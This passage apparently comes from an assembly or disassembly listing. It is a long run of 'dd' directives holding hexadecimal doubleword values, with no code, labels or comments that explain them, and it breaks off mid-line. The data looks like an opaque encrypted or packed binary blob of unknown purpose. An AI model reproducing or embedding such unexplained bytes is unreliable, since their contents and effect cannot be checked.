87D2D0F5h dd 0E8830F44h, 1A69329Ch, 0C8522590h, 0EDBC9200h, 223E2AC5h dd 442005B0h, 4505DD3h, 0A4334C20h, 0F7645360h, 0BF02DBA0h dd 14805F5Dh, 8BFCFDA4h, 84C3CB00h, 0EDF9164Bh, 31C6009Eh dd 0E7BBB3DBh, 0BC0032DDh, 7D0EEB43h, 387996h, 0D2D7F353h dd 0F51EEAFEh, 9AF3C00h, 1228E729h, 0E6CE00D3h, 0B29F96F7h dd 0EA0AE8C4h, 8DFA63BAh, 0DF91A000h, 0E7A91Fh, 16DEE940h dd 936671BCh, 0CFCE1C1Bh, 402AD2B9h, 0CC7555Ah, 0DF5D72E5h dd 21C0C508h, 8386229Dh, 4F310371h, 0D6BA12B7h, 0DF94D907h dd 0B4802CCEh, 4B458Bh, 0D22E08D8h, 0A0F91B7Ch, 44DD0F1Ch dd 9DC1E95Dh, 8C4771A3h, 69A5A1E4h, 898010EEh, 9FE66880h dd 58BB6930h, 0EC7F7623h, 0E969C2C7h, 0BF600FBFh, 9F19B0BAh dd 0D208B24Ch, 47062180h, 0F5E0D910h, 501A6B00h, 0C9BDA82Dh dd 8E510633h, 0D1D1C8E8h, 0AD40F480h, 0EF20A660h, 80C25621h dd 45317988h, 0DD4818AEh, 0DE77A1F4h, 7A160060h, 60ED0F54h dd 0F5332090h, 1030890h, 5482AC21h, 20F4740Eh, 45309986h dd 6EDBE0E7h, 3E0840D4h, 0EC05A115h, 14760D84h, 0F0B1180Bh dd 1006D828h, 0F8CE736h, 25EE886Ch, 3DEF2640h, 52003092h dd 0D10F8FBAh, 8D0E8Bh, 7C4C9CFDh, 0A15509EEh, 204DE900h dd 9BDB5F1Ch, 0E3A30063h, 0F254262Fh, 0D95818CCh, 44017AE3h dd 9CECFF1h, 33207475h, 6F250082h, 0E39E9060h, 5A00A684h dd 0AE61A2D4h, 156C4AAh, 98B6754Fh, 20E685B7h, 0F40024BAh dd 0ED26ADABh, 3ECED1E3h, 2807D5Eh, 0BED74727h, 0E0007948h dd 344192C4h, 0C5154Dh, 4594C9B8h, 0F7134938h, 91D7B600h dd 0E1263744h, 0C8D60F4Ah, 5BE0CEF4h, 0DCAE7357h, 2EFAD00Eh dd 0AD84205Ah, 7BCA90h, 0AB5D3038h, 0B06BA0BEh, 0DE26DC00h dd 6EC9843Eh, 0EF4A3F24h, 0A304280h, 90AFF958h, 4923DA0Fh dd 0C9E70016h, 3DACE396h, 9806CF3h, 0E8DDCC8Fh, 99004AF0h dd 7695E6B9h, 3D960AA2h, 1700081Eh, 901BB7ABh, 89750E84h dd 0AA45FF00h, 0E68F4E97h, 0AE1C18B1h, 0B7C462F8h, 429DCA00h dd 0B36578A9h, 532E0046h, 10020BA7h, 0CF00ED18h, 8AA29E15h dd 74CE0530h, 57BD0255h, 379533Bh, 0B2AA6C81h, 0B640805Bh dd 3B299E58h, 431C000Ch, 0D53DF4CBh, 0FF01B33Fh, 0EE61346Eh dd 0BC46E0CFh, 276D0048h, 554E445Ah, 76073AEDh, 21B7D3C1h dd 88972ED3h, 17B323h, 0AB3FA763h, 0E41F0D87h, 9942600h dd 9DDA0FEBh, 0ED4A14F9h, 76D672h, 1CE57F41h, 1A112ABEh dd 57694900h, 0DEE0AEB9h, 7C2E0037h, 2783DCCEh, 0F1E3BDFAh dd 6B19ECD5h, 31A65A00h, 0C27025A5h, 0EC58908Ah, 0B2C40FD7h dd 2740D4E4h, 856A4092h, 0AFFB0C2h, 89664044h, 3B1800D6h dd 660E5146h, 950784E1h, 0B14B8811h, 6E6FAB0h, 708900D2h dd 91BA9BA2h, 2A756D41h, 0B7E0A8A0h, 5E4E0500h, 9960DB70h dd 802A9024h, 0F6E1ACh, 0A444503Eh, 0BB9849F0h, 32289618h dd 2E7FC521h, 540156h, 8E1485DAh, 8916C69Fh, 1006751Eh dd 0B0569Ah, 0E6D47A4Fh, 0BEE39229h, 481B0203h, 0B78F814Ah dd 0ADDD6BB0h, 741502C2h, 0F29BF6BDh, 5F35F1C0h, 72541E00h dd 8785372Ch, 80DCABE3h, 5533AEEh, 0BA3FE8E6h, 8CEC0FE1h dd 9B2B2020h, 183AECEBh, 0D0160080h, 2FE9660Fh, 1D789D37h dd 6A6F1700h, 0D2C84FB4h, 86849E2h, 45F659D8h, 0A630677Eh dd 29AFC935h, 2AD40007h, 7517C528h, 0B800B9DBh, 33877250h dd 0A934C2E6h, 0D0C8BAACh, 6C1A242Dh, 0C2C00C9h, 88CD7B2Ah dd 99009DE2h, 0A5613522h, 1E8E8B55h, 4304C6F1h, 0BBCDE270h dd 6D17000h, 0E482161Bh, 98B403BDh, 0F53729A4h, 63A39580h dd 2A308D00h, 0BD245499h, 7E8DA067h, 0BAC500E7h, 0E6FBEA20h dd 0EF0055B3h, 9DE03DB9h, 16AAECDh, 0E7185E57h, 80EAF2FFh dd 970EC841h, 3ABFCBFDh, 5700AED9h, 6FF98F8Eh, 2FE8B687h dd 43927850h, 0CB1FA101h, 0A4D1D0Bh, 0E9921ECh, 0D47315B4h dd 717A1800h, 0F4009433h, 0A28EAFE9h, 969C2Ch, 0CE16B622h dd 3075ECBh, 0F4B3541Ch, 0E379EFC0h, 13A040A2h, 453244h dd 73034ED6h, 97005A1Ch, 0AAEA7EDCh, 0F87CD035h, 0E8700084h dd 0A367810Ah, 0BD6013B5h, 58399E8h, 44A70082h, 0ED7BA512h dd 0B102DC01h, 64549DFh, 0E025E3A6h, 130E1AE0h, 378ED07h dd 153B80Ch, 38FBE600h, 183240C7h, 3C6B00FFh, 7894EC62h dd 0C8001CB3h, 7302441Bh, 950AE5h, 0C021BF69h, 42BA6EDFh dd 47E96200h, 0F7C90ECCh, 0B764003Bh, 3DD813EBh, 5E009958h dd 0DE23DBB3h, 0E015FFh, 0C47280C1h, 42CB28F0h, 741DFD00h dd 7E88C579h, 65715CF2h, 681AAF00h, 240C30A4h, 282EF100h dd 1B555013h, 0F22504CEh, 0D049985Bh, 2AA5E894h, 59F1B308h dd 8C80805Dh, 0C6015EE7h, 42814000h, 11FFD5C2h, 3820E5BBh dd 4D16005Dh, 5E831299h, 6008B22h, 1C18D531h, 26AD8914h dd 37CCB61h, 69B7A3C2h, 0A26A581Eh, 874FAB83h, 1C2393F0h dd 89AAD638h, 882052CAh, 5798B897h, 69D7E302h, 603D5604h dd 0DC8138h, 9AF9B0F0h, 0F77FA833h, 14FD8A4Ch, 0A075A2h dd 91B8AE28h, 0AE416h, 7CBE3940h, 557EAAEDh, 50E77F00h dd 0E93181D5h, 0FC15005Eh, 0FD1872Ch, 0B30012E0h, 245369A7h dd 797BF23Ah, 40751FEEh, 102340C7h, 0CAE3457Ah, 2F3E841Eh dd 0F004024h, 7F06F37Ch, 9EC4024Dh, 225C7968h, 0C7375440h dd 0E6E2D703h, 0F03349E0h, 0DDCF72h, 0BCC512EAh, 2D485FD0h dd 1002EF8h, 644FBD1Bh, 3D3F55B9h, 26008C75h, 58046B13h dd 31F80330h, 0CBBF4D0Eh, 4A4040AFh, 3DA4C33h, 0C5A92AE8h dd 0C3A0704Bh, 0B124DFB3h, 5C03DC08h, 803AFC0Ch, 7D611F81h dd 1DA30051h, 809CD7F1h, 0FB26C87Bh, 32007137h, 5AEB4515h dd 0F6130059h, 556CB9C6h, 0EF011610h, 82614AFDh, 0EC46AB5Bh dd 571F0538h, 0C227A0h, 5D8AF6E4h, 2606F2FEh, 803A0A91h dd 24810268h, 72A0E590h, 449F46E0h, 869ADCF5h, 6D6CC400h dd 6A59EE8Bh, 0AF9E003Ch, 1C49E784h, 56008357h, 7C043B6Bh dd 6E8DDDh, 3736E0AAh, 632152C8h, 1F005F75h, 0EE97F246h dd 0E40E5582h, 9AAD005Ch, 32E6CCE7h, 0CA008666h, 4A0C2353h dd 8D673h, 9B5C6D7Dh, 58611219h, 0AD2B801Dh, 850651D3h dd 1E207ADFh, 0C2DDBA72h, 9F4E24E2h, 1DD5CF80h, 530038D9h dd 0C725EB99h, 0D02ABCh, 8C3B4F51h, 0E5F0AB15h, 6E29D801h dd 46FA8A63h, 3D2874h, 5EA09B71h, 0EEA9886Dh, 330AE300h dd 0B0856E6Fh, 6EF07FCh, 0A0647137h, 0F89DFAB2h, 7823907h dd 78BBF6Eh, 13803B78h, 5F91C7Ah, 89B4D6F0h, 0E658D07Dh dd 0CA3F3FCEh, 0CCF78E6Dh, 0C3A38275h, 0C37CC3ADh, 0E0E4E365h dd 61745FD8h, 0D0D49947h, 750834FCh, 8527C707h, 5140CF77h dd 1F64B644h, 0D7717Ch, 0EB3FBCE6h, 30C02374h, 0D4DF1CF0h dd 48F2E97Dh, 0DFAF5E0h, 52C336F2h, 3DC6E088h, 1042FC00h dd 68BC4B1Dh, 18BB50F8h, 608850B4h, 0DF1400FAh, 6C7ED0EFh dd 0F500225Bh, 0FC5E9697h, 0C846FDh, 28A79CA8h, 22883AFBh dd 0E98C00Eh, 615DA124h, 41E0F31Dh, 6F00046h, 0B43132CAh dd 1B00E58Ah, 11C9A84Ch dd 0FDA79Bh, 9854F3EFh, 0E5C87F2Ah, 0A65DFC00h, 409D5EB8h dd 6C4E3D86h, 0B7227B80h, 0A41AEC9Bh, 0D132F00h, 2C92EDDDh dd 0C8830FD2h, 0AAA052EFh, 7768A620h, 8FB12104h, 0FF2349h dd 6B081081h, 2F1C1471h, 9D07DF5Fh, 261062B6h, 3F44607h dd 0F763ADC7h, 25E8BDFEh, 0B900CE68h, 515C9416h, 21A90Dh dd 0A13449CFh, 8BEF5BE5h, 8123800h, 2248D713h, 0A1589443h dd 0A0FEC004h, 0B00098E2h, 0E64821F8h, 366CA3h, 0D83BFBDFh dd 68507970h, 6ED21324h, 0EB08AD03h, 953858F6h, 0CCD044h dd 6DC067FCh, 58B0737Ch, 38D40400h, 0F3413652h, 0DBE418C6h dd 8FE020E5h, 4A893A14h, 0F64F720h, 4579ED60h, 80982348h dd 0F6B98233h, 1DA506CCh, 8BDD43Fh, 0A213C60h, 0E3B98Ah dd 7CAFF361h, 0D5F5B31h, 56D96200h, 0A6E56DB4h, 88533CA1h dd 1883AAAh, 4726FCDBh, 0D81DFFBCh, 8CC07B4h, 0F42130h dd 0A3D02604h, 8F57CF5Dh, 0EF03D37Bh, 77C4CCC6h, 71C00E3Bh dd 0B0556C7Bh, 559E3A00h, 4265D27Ah, 4D0C114h, 83F01CB4h dd 6BAC0FFh, 0BFED795Ch, 0F60CC1B6h, 793D7772h, 5098183Ah dd 5C833814h, 15114219h, 0E8D05F61h, 1166606Bh, 0F07A4319h dd 0DF0C54E2h, 83CF847h, 0BC21C04Fh, 0B7A97A4Ch, 0F56AA80Fh dd 0B9428184h, 6086FB20h, 79C2D759h, 137ED90Fh, 0F302805Fh dd 1DBE0580h, 5248F774h, 0F4080015h, 0C7C6DD7Eh, 0EB616B60h dd 2134212h, 82D99E5Bh, 0A402A017h, 92D60210h, 60B6BC84h dd 234126EEh, 2D11EFBCh, 26F6FA01h, 6A935E9Eh, 0A01F4BF0h dd 10CC89Ch, 2CEA31B8h, 433CC3CCh, 8D1B6C0h, 0AA0804Fh dd 0EB09715Bh, 0FB5E0402h, 80FCF87Bh, 3F8670B6h, 2F462C90h dd 0A1B98013h, 2E2C58CEh, 881488h, 665432BAh, 63419AE2h dd 9816B006h, 0CE019F4h, 28648BFEh, 0C90F40A0h, 80208D99h dd 5F83CAF8h, 16EF3A8Ah, 6D890D0h, 287BF0C5h, 0BC0C3020h dd 48F34CB0h, 3DACCC3Bh, 6C2AEA18h, 7600B077h, 3CD5D6E8h dd 0FFF308h, 4CF02BD8h, 7B0B80B1h, 0A309DA00h, 0DCC4652Ah dd 51E013E9h, 68C440FBh, 0EE3EE521h, 0B8050FF0h, 4214AEC5h dd 0B2F86020h, 90501FB0h, 0B4994668h, 0F402182Bh, 0D4A25B7Bh dd 449C47FBh, 0F4E6033h, 0A0DFFC91h, 29ABFE80h, 894379Ch dd 8C2851A8h, 9306420h, 17C0C8BCh, 8CA39821h, 0A0A10333h dd 5016DD5Fh, 0E6C10B8h, 0B603F437h, 4584C93Eh, 41540005h dd 0BFC8ADCh, 224031C4h, 0A8770680h, 62284B08h, 4A809005h dd 2BD4F101h, 4CDCECC8h, 58118042h, 7C720D10h, 645B594Fh dd 4D6F0EC0h, 0C4557BFEh, 0B7489180h, 4226FD80h, 448CF7BCh dd 500F937h, 3EAC4626h, 9298978h, 1C7499AFh, 383DF890h dd 3328B600h, 0C2123C24h, 0EA540093h, 21FEF499h, 84A487E7h dd 1B38524Ch, 8011F9D1h, 38E86F2h, 7D27F777h, 831FF5Fh dd 0EA392103h, 0C38360h, 0B1B7E9EBh, 8EE12146h, 4C83A50h dd 0E4E01083h, 0C08B882Dh, 0BC3E26F1h, 2F22D746h, 26F9FD00h dd 0D9BE1792h, 90BA0DEBh, 205803ACh, 0D220B894h, 0DBD30366h dd 0BCC87D47h, 0EE8B2100h, 35515956h, 9EA4009Ah, 0E205EB40h dd 0D773D60h, 0BEC4ED03h, 0A0F34229h, 0B43F21h, 0EA881D17h dd 487767D7h, 0F84DED28h, 73EC5209h, 86ECAFDAh, 7181799h dd 6680FCC0h, 6BDDC260h, 18302461h, 0F3B90881h, 0B1CFBDCCh dd 0BA891300h, 95AB6C61h, 0D103990Ah, 8682B0F1h, 8EF0B865h dd 97D36097h, 1B7440Ch, 0E9A45557h, 20CCF13Eh, 982CBCE8h dd 0F4820CC8h, 8025AC73h, 0CB919DB8h, 0F3EB0A8Fh, 7804B89h dd 0ECF10F72h, 0BE289D08h, 9C0F8036h, 0A5826727h, 0F0C07758h dd 9A508B7Eh, 47A10560h, 42356072h, 41C2C6CCh, 0AD11C48h dd 0B309B1C0h, 49DABBh, 0BF0CE8FAh, 0D0152052h, 1337100Eh dd 51F1C0ECh, 61A365h, 27CF60A9h, 0E32569AAh, 0E9E05C16h dd 7A426060h, 996A98FDh, 4BA7C060h, 0CC00BB7Ah, 6C7075C9h dd 0FEB8BC3Fh, 0CC1789F1h, 9A4089h, 3E4FEC14h, 743F26E0h dd 26109008h, 80EE119Ch, 0F0F27A3Dh, 0BA008764h, 11777A46h dd 128A0005h, 90BC2FCAh, 22801A24h, 0D10899B0h, 961831h dd 0C839CF7Dh, 0A3FE3EEEh, 0C0235C28h, 766C9B18h, 3604B81h dd 5D0E6342h, 0B08A961Fh, 560085D4h, 0BCD3119Fh, 0ECE900A7h dd 66F419FAh, 4C90D75Dh, 8E014946h, 85CCF2B9h, 883D0C1Ch dd 0BA1FB606h, 0F7002576h, 9FB789DFh, 0BB32165Dh, 34500462h dd 0B5F803FEh, 0C6C91A13h, 78C041BEh, 3366DF35h, 46809B10h dd 0B9830146h, 1DADCCF5h, 9883A0Ch, 27BA048Bh, 943DF245h dd 0E1C08354h, 0C011CFB2h, 6400AB17h, 3AC6918Eh, 10581858h dd 78FAD0h, 50EDE5F5h, 0C19C9B5Ch, 0B03E1728h, 0E088322h dd 0FDBA8A94h, 0E058D782h, 0DBE424E0h, 0E242C240h, 4953B0C9h dd 0EA231804h, 0EE7A4101h, 0DE1944F0h, 7A4AA620h, 0D5130EBCh dd 676ECDACh, 776E2300h, 727F3FFEh, 0DC02F0B9h, 90C50B8h dd 0A8919C01h, 0C5087528h, 35F00012h, 30CC71C3h, 79A0E127h dd 723E2B7Eh, 11C4527Bh, 0B70067C7h, 134A7E3Fh, 0E124A659h dd 465E785Ch, 0DA200A4Bh, 0B03DACCEh, 0F4738914h, 7EA0A024h dd 567D090Ah, 0CC83EA9Ch, 45A44746h, 0A0045F03h, 0D1049B57h dd 5418D0EEh, 6A0059EFh, 0D516D8ABh, 7A1C250h, 0CCDB0D29h dd 0D429FBF4h, 750A1080h, 64504256h, 0EA88A58Ch, 0C7CC15BEh dd 2864D42Eh, 0E5D0C171h, 20FB0016h, 95401873h, 0E242107Bh dd 18EBCA3Ah, 0D789EFFAh, 9C9CA8C7h, 9B950EC2h, 0B3A0690Dh dd 19A9F63Dh, 1D3FBC18h, 804B7958h, 2733ECBEh, 0E2DD7824h dd 8008CABDh, 0EBFB04BCh, 0B94B0A2Dh, 34D05Ch, 0FEA832A9h dd 0B5004A8Ah, 0F17E7F50h, 798DE40Eh, 0B411007Ch, 51F41D47h dd 0F0B7BD0h, 106980A8h, 80CB9740h, 0AC2C5556h, 420338DDh dd 8C53AFEAh, 0E7108850h, 4EED02DFh, 41A07E65h, 81158008h dd 42C3070h, 0A688481h, 0E2C02209h, 8BD73040h, 0DD030C72h dd 0E4A871C6h, 6CB03B73h, 167029E0h, 0B901965Ah, 22CAC2D6h dd 8742C8Bh, 0B94A6123h, 0C190A04Bh, 4209CC5Bh, 0D28B918h dd 4718398h, 1BEC3E7Bh, 5078932Dh, 0C4E8769Ah, 0CB8F8ACh dd 90EDC22h, 0B6032C6Ch, 149B8902h, 0F0775C78h, 2EC9C5Dh dd 0BE85B140h, 0C9D86027h, 18E6F4F2h, 202118A3h, 4A14D73Bh dd 0F120EA30h, 0D018C224h, 97F4F854h, 7F626F1Fh, 0C0F0833Ch dd 24B1C40h, 4CAAEAE9h, 6B40C3BBh, 0DE8D422h, 4F0A2CE2h dd 0D094423Fh, 303BD808h, 2FCDE10h, 3F963A09h, 1BE4E81Ch dd 0EAF51DE1h, 0DA6543ACh, 66C8CF7Ch, 6B011DF8h, 0DCCA6ED4h dd 0CDD03A4Bh, 0C58B00A2h, 4A060B56h, 11C0A6D3h, 0A44B1526h dd 91AF00E5h, 4E308309h, 195D585h, 0AC8E1834h, 1E52B420h dd 6E762Ch, 1277FE41h, 0F7036F5Eh, 69014890h, 855FD82Ah dd 0F4662CA2h, 74380023h, 0F0A69C20h, 391DA501h, 0F1E6648Ch dd 0F8038C7Ch, 0B478592Fh, 44774080h, 8DD2C228h, 3A52481Eh dd 3BF2C400h, 358F75Ch, 0DE711BA2h, 103E9120h, 5BB4808Ch dd 807914D0h, 0B0527841h, 1F01EC17h, 3F239Fh, 2175DD6Dh dd 4A00F99Eh, 77EEBCB1h, 0FC41CC56h, 9C9C4986h, 2EF10630h dd 3B6162C0h, 0C6DBA831h, 3A984BF8h, 0A4808BEAh, 0E1B77486h dd 3701DFC9h, 0F4CB7CC2h, 8C788955h, 0FA981C00h, 0EE609181h dd 7E88CF00h, 0C9C28B8h dd 4EE64B66h, 0D2A0D944h, 529206C1h, 0D7BE7100h, 0EA1BC97Eh dd 0B36100F6h, 26E76068h, 1700A110h, 0DB6E0FCEh, 2C719Dh dd 754AFAE3h, 2AD83836h, 83BAA400h, 0C25659CBh, 0DAA94AB1h dd 568C0008h, 8F597860h, 0F7890061h, 0CE6B6824h, 50B5AB49h dd 0D37BF0h, 7097CF2Ah, 81362A8h, 728BD000h, 298485ACh dd 0D86D1542h, 4418A060h, 712B70E1h, 0E9DECE03h, 0B023C411h dd 282D4887h, 18C03B4h, 771FAB59h, 439522D8h, 0FEF042E4h dd 2E7C6415h, 0B34F9D0Ah, 0B780C067h, 762D65E4h, 0AED40068h dd 0C76BFFE6h, 19005F4Dh, 0F24ED7FCh, 8F403Ch, 0AB2A8BC2h dd 3DA96F23h, 1399AD00h, 1B123447h, 4D3B84Eh, 0E1BFD59Ch dd 7E4080EBh, 0E53CCB89h, 80108164h, 0DB3C2C73h, 5403D050h dd 0C671D3h, 274213A9h, 901A2D06h, 47838D00h, 12651820h dd 0B456310Ch, 213E3B50h, 2D6C00Bh, 7447C0C0h, 0E85DF5h dd 6F325EFEh, 6B1BF79Ah, 0AA68E200h, 8653A7A1h, 8FE838E1h dd 96CB7200h, 4752272Bh, 0A5B15117h, 2670A02h, 7304864h dd 37900905h, 0A423CCEDh, 80CFCD94h, 35B42A9Dh, 707E5F24h dd 8024CE88h, 754DACFBh, 0AD795416h, 0E4BB2F00h, 0FF69134Ch dd 0E1471817h, 0DF56E1D0h, 7C99D300h, 7FAC7857h, 22BECF4h dd 7391CCFDh, 0D0A043B7h, 0DB9C893h, 2A983Eh, 4C7E5764h dd 14D0B3Dh, 747D5B97h, 0F43C55D6h, 540F2B45h, 20B86975h dd 5A38FC24h, 14D43D2Ch, 0CF1C5000h, 45A39470h, 783C6AEEh dd 0F2588099h, 0CC6E614Bh, 0DA0C00BAh, 0FD8B0915h, 48006DB3h dd 0DEE8D412h, 9B644A2h, 0CC7B76F4h, 660E7C80h, 63031146h dd 0FFB9C5A4h, 86D1127Fh, 0B50C070Dh, 906A60CEh, 5C009721h dd 8353F481h, 2CE51909h, 0BE602B0Fh, 436B2781h, 0CCCCA75Ah dd 8E396A08h, 4EFB0035h, 29A38F34h, 0CBE0076h, 1547AD17h dd 0A5792B21h, 79D89600h, 0E4447F25h, 665000AFh, 0ABC29214h dd 7A07F229h, 0D090EF39h, 6D8869E0h, 95BC00A9h, 501DDD68h dd 0EE1E3B56h, 34C3D3A3h, 0E0634667h, 9217160Eh, 53A90254h dd 2B819715h, 0B01C2C5Ch, 0A6A06870h, 68AF4CD6h, 8060B626h dd 0B09B4DA9h, 8878E977h, 0BDA30900h, 4F07C46Dh, 293F6098h dd 26FE20Eh, 50408F4Bh, 373A4FE1h, 0CA490058h, 9707F412h dd 0DF00FBC1h, 778FF787h, 0BBCF94h, 0F0A9443Bh, 0FC0DAEE1h dd 80EF5539h, 18880E84h, 70761C0Ch, 0E89509BBh, 3C587E39h dd 26CF1A00h, 0F5805CF1h, 0DBE007Ch, 8F53C065h, 6F002454h dd 43F84AE7h, 0EAB22B58h, 0CC261C1Bh, 2F0140E6h, 0E018FE6Ah dd 3D786F00h, 0A3480220h, 355FC7h, 8C617C98h, 6EE4DD7Fh dd 25B59200h, 3FE7652Eh, 3CB439F6h, 80A50D1Eh, 0A139A91Dh dd 8EA0259Dh, 0E555F6EDh, 0AC288E8Ch, 3E6E4012h, 2FA12995h dd 0E8B8826Bh, 4804E01Fh, 0D3F4A019h, 5C26DCB8h, 591100C4h dd 3D8174ECh, 8D3A8800h, 0FFB46112h, 0C2DF2594h, 0EC6E78E0h dd 0CCA42E00h, 425A35BBh, 69DA00ADh, 1A795E74h, 3B00F160h dd 6562B1D1h, 0F7AC7Dh, 94C8E19Ch, 7B699E77h, 0FDDBCB1Dh dd 0E8D06A53h, 28A8C34Eh, 0ED4D154h, 455541F7h, 0BAD2C463h dd 393AC39Ch, 0E9D0BEC9h, 4B5FF8CEh, 0D9AD6707h, 5DD1FDC1h dd 0E5E0794Dh, 0D075D5h, 4F04727h, 376BEBDFh, 0C7894BAh dd 413C1495h, 0BE2850F8h, 441D1D17h, 24282FBCh, 9BDFFC12h dd 4B12C300h, 17BC8EFh, 790F744Dh, 0BBF751FBh, 0DF77061Ch dd 0B30E627h, 4C2F8E47h, 0C354B091h, 0F078BCB0h, 0FE541766h dd 0C5035CA0h, 4CA53825h, 0FA4C0C48h, 0FE6EEF48h, 0D5F0E1B8h dd 0E6088AB4h, 0CA3FB500h, 6CF71C65h, 113FE46h, 0D50AE52h dd 0D9A9BF8Dh, 38302AA4h, 7DF479h, 0FA3DD8FEh, 0DC5312Dh dd 0AF72F81Dh, 93380Fh, 0E7783E5Ch, 0FD2C00EEh, 0D9F55821h dd 0F60037ECh, 0F9617A2h, 57142A8h, 4EAFFFF8h, 0C7E6006Ah dd 13407612h, 0D23C360Ah, 41008EE6h, 0C15C24FCh, 80ED0034h dd 66639E7Ch, 0C0061A2h, 5535E5AFh, 0DBA19h, 0B08BEE4Dh dd 41E0841h, 781F5790h, 0F980F05Fh, 88B52C77h, 0AA4F000Fh dd 94167D93h, 511C6CD6h, 400EF1Bh, 5CEFDBAh, 2F3D0013h dd 3921C622h, 0C1134046h, 9492A9CFh, 7A4730E4h, 34F0FC11h dd 0B8804A88h, 0AE947A30h, 6CEF1B9Dh, 78C11970h, 118CD4D3h dd 8E737C00h, 7F714077h, 2F385AD2h, 92F23B8h, 6700F3B0h dd 0B7299B96h, 0F442C60Bh, 0B808C8F6h, 8A134050h, 0C1B3FC01h dd 0A7047C6Dh, 5CA82184h, 0D8EB2112h, 0F2A4A305h, 0DACD3001h dd 1458EE12h, 0D1B63903h, 0E02100F0h, 3AB8B33Eh, 9F0097AAh dd 0B4776E93h, 0F68AAB15h, 55671EDh, 8D48DD81h, 4A8C224Eh dd 8B98F30h, 1C8DCCF1h, 15433964h, 0D6BFBAB7h, 0DD394E71h dd 3CA80C8Fh, 0E2CC501Fh, 37C89C93h, 0B242FE0h, 74A92Bh dd 1E2C2D5Eh, 1E55962Eh, 810127E8h, 0D1D4F9CEh, 84182056h dd 201F6A00h, 1597E43Fh, 2922007Dh, 0BDB8B2DEh, 0D9002AF3h dd 30EE64A3h, 41CA14h, 56055810h, 8FDA45Fh, 3D6B900h, 90F6AB65h dd 8A1F0E75h, 8FA0A8BDh, 761B7F93h, 8DDCA600h, 1D492DB8h dd 0B55D0028h, 2FD1A4A1h, 5B03261Fh, 0ECA5A2BCh, 5A2EE08Ch dd 0A7180E81h, 26600AD3h, 0B2148546h, 0CA0BD800h, 0C8B6237h dd 308792Eh, 9EC2E4DBh, 4690A3A4h, 0D200F66Ah, 0FC8F401Ah dd 0EACCA9h, 755ADB10h, 79FA8499h, 0DEEC3C4Ah, 43E80704h dd 0D290801Eh, 4C001539h, 3F3D7159h, 0A3BE0Fh, 8D8A93C8h dd 7F4F065Ah, 0F2003890h, 244E89C1h, 7BC80B0Dh, 0DC1D00F1h dd 77A9CE47h, 1000E09Bh, 2D5E8DFh, 0AEC709h, 0D74790C5h dd 0EB89E3B0h, 946139h, 2CB54D5Ch, 1DF0910Eh, 80EA97BDh dd 604F5340h, 0D900AF94h, 0B57B6F0Bh, 70A0919Eh, 0B005609Ah dd 0A4E15E9Bh, 336A500h, 8DBAD9E3h, 37620079h, 9F6BF238h dd 3D00A29Ah, 0A7B196E5h, 5C4EE952h, 14018E17h, 71082537h dd 0F218F083h, 2619E600h, 0BDB36EDDh, 1E2BB87Ch, 4B4D5029h dd 551C7Bh, 4A253AB6h, 0ECCE508Eh, 0B4525735h, 0E63DDA03h dd 381EFA50h, 0FB1DAAC1h, 8C009BDEh, 747356A8h, 14C53021h dd 13B98440h, 3ED51B01h, 0BE559B93h, 7B519E0h, 0B3C887FFh dd 35C03F72h, 0C560D1DEh, 5E7AEE00h, 43782399h, 3C89763Fh dd 0F00D8AEh, 600A622Eh, 400EBABh, 577FC884h, 18016E3Fh dd 0D8B040F1h, 0DAEE3B35h, 0E472D500h, 75FE8ABDh, 6F0100E8h dd 0EC8433E5h, 0B7004340h, 5F4CE3A7h, 0E0A0EBh, 947F58CCh dd 24DD9C44h, 1213341Ch, 0DBA60B00h, 387D82h, 16F90652h dd 0D7405A33h, 0F098F450h, 2F00A8FAh, 6C1056F1h, 0A8AC79A0h dd 4813E880h, 8E003F18h, 0FBD569Ah, 52127BE2h, 8009E17h dd 8071F9AAh, 86ED0045h, 0FD6E734Ch, 0F500F4CBh, 55B2BB93h dd 0C0FE6782h, 74C2B131h, 6EC214Bh, 11D0CD00h, 0D6F2400Ch dd 816F0A92h, 2E084C9h, 42ECB53h, 7AADB560h, 15472400h dd 7F2AB6C8h, 85E45Ch, 9CCF414Dh, 5BF95689h, 0B9A8ECA3h dd 0C7005A9Fh, 0B4DB1C32h, 2EA91452h, 0F004D9h, 0E0D36138h dd 0F102E8B7h, 19F4EB6Ch, 6BC8C027h, 9352093Fh, 64001D12h dd 0CDC08D45h, 40FF171Eh, 181CE78Ch, 793E0EB1h, 27812E03h dd 40771EB0h, 98241B98h, 6766720Fh, 2C31A076h, 7DFB42Bh dd 1195A569h, 0D11660A9h, 1D006D1Ah, 94CF36Bh, 6E9025C0h dd 0BA40C0F9h dd 3E477886h, 3D738507h, 7D007F83h, 1C25A79h, 14D9E603h dd 40B08225h, 5E3307ABh, 17A5A000h, 0F4A837C3h, 0C09C0032h dd 0D2B50911h, 87017885h, 1747457Eh, 0D3C0CC02h, 67590018h dd 0FADC5199h, 26000B40h, 4F83941h, 34FB08Dh, 0E93D0AB5h dd 7980D132h, 6607E8EDh, 0DEA81224h, 413A9C70h, 0D81400A1h dd 0AE8DA027h, 0D100FEEBh, 406F0411h, 1395878h, 3EE49B05h dd 0D0877945h, 0AD3A5B41h, 84B6005Eh, 4CB9EC95h, 473F5h dd 98489747h, 547A380Eh, 641E9900h, 0C6D8D5F2h, 83FE24CCh dd 80061E10h, 32093812h, 0A93B0A6Ch, 0BD72818Fh, 9BF87490h dd 86DC30h, 0FF33CA9Dh, 0A7D2054Dh, 0FC888900h, 74010B29h dd 519B0095h, 0DB1D0FBAh, 149AEF38h, 5C9C9207h, 7E001E8Dh dd 0E659CBh, 5B9A6778h, 34C97CC6h, 0E8EFB530h, 3B551849h dd 0F800F6A1h, 2C28F70Bh, 0B72EA7C5h, 8506F84Eh, 720A2ACh dd 1AF0D02Ah, 0A3F450E1h, 0B212D2FCh, 20402E2Fh, 21C3A220h dd 0BEA807F7h, 10F29C58h, 1E05347Eh, 403149h, 0D4616AE0h dd 0E20CA7D8h, 0E5B0098Ch, 1C80BFDDh, 960B1A31h, 28BD48h dd 9236F7C6h, 2733D3h, 0AEA05BD6h, 0B348AD61h, 0F373E306h dd 4583982h, 0EDC37C95h, 100D088h, 0BE1E0A14h, 2383A817h dd 0C840BF55h, 0ECD0EC7Fh, 0CD6800F7h, 16E6C803h, 67984B46h dd 26FE3400h, 808D86D4h, 0CE83CCFh, 2548DF82h, 0F487564Ch dd 0C12E21EFh, 70C8ED66h, 60005235h, 6F2B6321h, 765D8D4Dh dd 63900FAh, 0DA207BFDh, 6800425Bh, 38F86ABCh, 7583DCB9h dd 7C5C0771h, 80F0B103h, 6EA5F18Ch, 7239C307h, 0F8C0A0ADh dd 940FA1h, 92B652C6h, 18372BDFh, 0A71A4705h, 1980447Ch dd 